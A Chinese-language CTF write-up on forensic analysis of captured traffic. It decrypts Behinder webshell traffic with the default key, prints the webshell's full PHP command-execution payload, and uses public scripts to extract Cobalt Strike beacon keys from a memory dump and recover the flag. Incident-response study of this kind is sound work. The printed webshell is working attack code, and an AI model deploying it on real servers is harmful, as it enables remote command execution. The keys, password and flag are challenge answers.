考点:冰蝎webshell流量分析+CS4.x流量解密
给了两个 流量包
第一个 ctf1.pcapng
查看其HTTP请求
而在CS中流量特征是基于tls协议
http-beacon 通信中,默认使用 GET 方法向 /dpixel
、/__utm.gif
、/pixel.gif
等地址发起请求,而且下发指令的时候会请求 /submit.php?id=一串数字
可以判断第一个流量包是CS流量
现在我们要想办法获取 AES key
和 HMAC key
第二个流量包是
和webshell建立了长连接通信
可以导出http对象拿到 Secret.zip
发现存在 密码
可以提取内存文件 ==考虑CS的利用动态信标的进程转储直接获得 AES key、HMAC key 以及 RAW==
分析http.request.method=="POST"
可以发现冰蝎特征
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
直接尝试默认密码 rebeyond
对流量解密
AES加密的密钥为连接密码MD5的前16位,默认连接密码是rebeyond
(即md5('rebeyond')[0:16]=e45e329feb5d925b
)
当然这道题密钥就是 e45e329feb5d925b
但是还可以xor操作码已知明文 反推密钥
一个事实是 :冰蝎 shell 当中的恶意 php 脚本,==头都是一样的==,以 @error_reporting
开头
拿到 45e329feb5d925b
可以成功解密流量内容
在 流13 中
tcp.stream eq 13
@error_reporting(0);
function getSafeStr($str){
$s1 = iconv('utf-8','gbk//IGNORE',$str);
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
if($s0 == $str){
return $s0;
}else{
return iconv('gbk','utf-8//IGNORE',$str);
}
}
function main($cmd,$path)
{
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
$result = array();
$PadtJn = @ini_get('disable_functions');
if (! empty($PadtJn)) {
$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
$PadtJn = explode(',', $PadtJn);
$PadtJn = array_map('trim', $PadtJn);
} else {
$PadtJn = array();
}
$c = $cmd;
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
$c = $c . " 2>&1\n";
}
$JueQDBH = 'is_callable';
$Bvce = 'in_array';
if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
ob_start();
system($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
$handle = proc_open($c, array(
array(
'pipe',
'r'
),
array(
'pipe',
'w'
),
array(
'pipe',
'w'
)
), $pipes);
$kWJW = NULL;
while (! feof($pipes[1])) {
$kWJW .= fread($pipes[1], 1024);
}
@proc_close($handle);
} else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
ob_start();
passthru($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
$kWJW = shell_exec($c);
} else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
$kWJW = array();
exec($c, $kWJW);
$kWJW = join(chr(10), $kWJW) . chr(10);
} else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
$fp = popen($c, 'r');
$kWJW = NULL;
if (is_resource($fp)) {
while (! feof($fp)) {
$kWJW .= fread($fp, 1024);
}
}
@pclose($fp);
} else {
$kWJW = 0;
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
$key = $_SESSION['k'];
echo encrypt(json_encode($result));
return;
}
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(getSafeStr($kWJW));
echo encrypt(json_encode($result));
}
function Encrypt($data)
{
$key="e45e329feb5d925b";
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
$bs="base64_"."encode";
$after=$bs($data."");
return $after;
}
$cmd="Y2QgL3Zhci93d3cvaHRtbC9kdndhL2hhY2thYmxlL3VwbG9hZHMvIDt6aXAgLVAgSCZOY3RmMTQ3ODkgU2VjcmV0LnppcCBkbXAuZG1w";$cmd=base64_decode($cmd);$path="L3Zhci93d3cvaHRtbC9kdndhL2hhY2thYmxlL3VwbG9hZHMv";$path=base64_decode($path);
main($cmd,$path);
同理 还有一个请求
两个数据base64解码后
看响应包
可以判断第二个才是正确的密码
HNctf14789
现在拿到了 dmp.dmp了
对CS流量进行分析
利用脚本
https://github.com/minhangxiaohui/CSthing
https://github.com/DidierStevens/Beta/blob/master/cs-extract-key.py
4.x 版本 cs 的动态信标的进程转储文件是提取不出通信所需要的 key
要考虑==碰撞解密== 转储dmp
先提取密文
python cs-parse-http-traffic.py -k unknown ctf1.pcapng
拿48长度的密文碰撞(随意取)
d3f7b232a13874ae45fcf0d82def3d8a9bec06c17b9828f2b162ffae4a958b6ba0d39189dbc9dc5bb97c946a6775ee13
开始碰撞key
python cs-extract-key.py -t d3f7b232a13874ae45fcf0d82def3d8a9bec06c17b9828f2b162ffae4a958b6ba0d39189dbc9dc5bb97c946a6775ee13 dmp.dmp
可以拿到 key:
3e2c8bd57d043ae78caa33c1f76fb3de:0406b3801de60f1fd4d7391d618eec81
对流量包进行解密
python cs-parse-http-traffic.py -k 3e2c8bd57d043ae78caa33c1f76fb3de:0406b3801de60f1fd4d7391d618eec81 ctf1.pcapng
有报错 直接问下GPT
485行改下脚本
拿到flag
H&NCTF{29d5c78b-4367-49ff-807f-dd204341f225}